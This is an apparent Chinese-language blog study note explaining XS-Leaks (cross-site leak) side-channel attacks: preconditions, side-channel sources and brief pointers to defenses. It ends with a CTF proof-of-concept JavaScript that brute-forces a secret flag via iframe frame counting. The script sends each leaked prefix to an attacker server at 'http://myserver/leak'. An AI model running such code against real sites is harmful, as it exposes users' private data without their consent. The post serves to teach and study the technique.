XS
简介
什么是 XS-Leaks
XS-Leaks 全称 Cross-site leaks,可以用来 探测用户敏感信息。有时又称 XS-Search
利用方式、利用条件等都和 csrf 较为相似。
说到探测用户敏感信息,是如何进行探测的?和csrf 相似在哪?
设想网站存在一个模糊查找功能(若前缀匹配则返回对应结果)例如 http://localhost/search?query=
,页面是存在 xss 漏洞,并且有一个类似 flag 的字符串,并且只有不同用户查询的结果集不同。这时你可能会尝试 csrf,但是由于网站正确配置了 CORS,导致无法通过 xss 结合 csrf 获取到具体的响应。这个时候就可以尝试 XS-Leaks。
虽然无法获取响应的内容,但是是否查找成功可以通过一些侧信道来判断。通过哪些侧信道判断呢?
这些侧信道的来源通常有以下几类:
- 浏览器的 api (e.g. Frame Counting and Timing Attacks)
- 浏览器的实现细节和bugs (e.g. Connection Pooling and typeMustMatch)
- 硬件bugs (e.g. Speculative Execution Attacks 4)
成功攻击的影响
探测到用户的敏感信息。
使用条件
具有模糊查找功能,可以构成二元结果(成功或失败),并且二元之间的差异性可以通过某种侧信道技术探测到。
可以和 csrf POST 型一样触发,需要诱使受害者触发执行 js 代码。所以特定功能数据包必须没有类似 csrf token 的保护等。
如何攻击
确认到值得利用的特定功能。
尝试可用的侧信道技术。参考此链接 Introduction | XS-Leaks Wiki
如何防御
因为这个漏洞的确使用限制比较多,漏洞危害相对较小,所以关于防御就暂时不看。放一个链接,以便后期学习。
Defense Mechanisms | XS-Leaks Wiki
攻击方式
记录一个ctf 比赛中的 poc,相信读懂后后可以更加深刻的体会到这个漏洞的用途。想查看更多案例,请参阅 Introduction | XS-Leaks Wiki
基于 Frame Counting
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = ":8082/search?query="
var x = document.createElement('iframe');function search(leak, charCounter) {var curChar = chars[charCounter];//Chek if the character is validx.setAttribute("src", ':8082/search?query=' + leak + curChar);document.body.appendChild(x);console.log("leak = " + leak + curChar);//When the page inside the iframe is loadedx.onload = () => {//检查页面中有多少个 iframe,如果有1个或多个,则说明当前枚举的字符是有效的。if (x.contentWindow.frames.length != 0) {fetch('http://myserver/leak?' + escape(leak), {method: "POST",mode: "no-cors",credentials: "include"});leak += curChar}search(leak, (charCounter + 1) % chars.length);}
}function exploit() {search("fb{", 0);
}exploit();
发布者:admin,转转请注明出处:http://www.yc00.com/news/1689148092a213105.html
评论列表(0条)